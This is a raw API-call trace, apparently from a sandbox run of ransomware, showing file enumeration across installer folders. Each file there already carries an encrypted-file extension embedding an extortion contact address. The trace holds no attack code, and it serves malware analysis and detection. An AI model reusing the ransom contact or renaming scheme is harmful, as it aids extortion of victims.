	[0160.605] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x363c0baa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x363c0baa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36441b3a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.605] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364b9b23, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364b9b23, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365060ad, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.605] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36328202, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36328202, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.605] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36328202, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36328202, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.605] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0160.607] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.607] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0160.607] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.607] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.608] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.608] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36456199, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36456199, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3645fdbb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.608] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365060ad, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365060ad, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3652c2cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.608] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364b9b23, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.608] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364b9b23, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.608] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.609] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0160.609] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.609] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9a8
	[0160.610] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.610] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36554191, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36554191, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a636b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.610] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x367bbe04, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x367bbe04, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x367bbe04, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.610] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36972a89, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.610] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36972a89, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.610] FindClose (in: hFindFile=0x76e9a8 | out: hFindFile=0x76e9a8) returned 1
	[0160.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.611] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0160.611] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.611] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eca8
	[0160.612] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.612] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x367dad6e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x367dad6e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36c9f9c6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARAME~1.Z9")) returned 1
	[0160.612] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36800f59, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36800f59, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36800f59, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 1
	[0160.612] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36800f59, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36800f59, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36800f59, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 0
	[0160.612] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0160.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.613] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36827257, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36827257, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36827257, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DHTMLH~1.Z9")) returned 1
	[0160.613] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364dff21, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364dff21, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3652c2cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DISPLA~1.Z9")) returned 1
	[0160.614] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0160.614] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.614] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.614] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.614] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36cc5c07, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36cc5c07, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36cebe08, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARAME~1.Z9")) returned 1
	[0160.615] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x369f16ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x369f16ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x369f16ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 1
	[0160.615] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x369f16ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x369f16ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x369f16ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 0
	[0160.615] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.615] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0160.616] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0160.616] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e8e8
	[0160.616] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.616] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36554191, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36554191, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365786e7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PRINTI~1.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365786e7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365786e7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3659ea7f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~1.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365786e7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365786e7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365786e7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~2.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3659ea7f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3659ea7f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365c4b8a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~3.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365eb0f0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365eb0f0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365eb0f0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~4.Z9")) returned 1
	[0160.617] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365eb0f0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365eb0f0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366110ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROE3EE~1.Z9")) returned 1
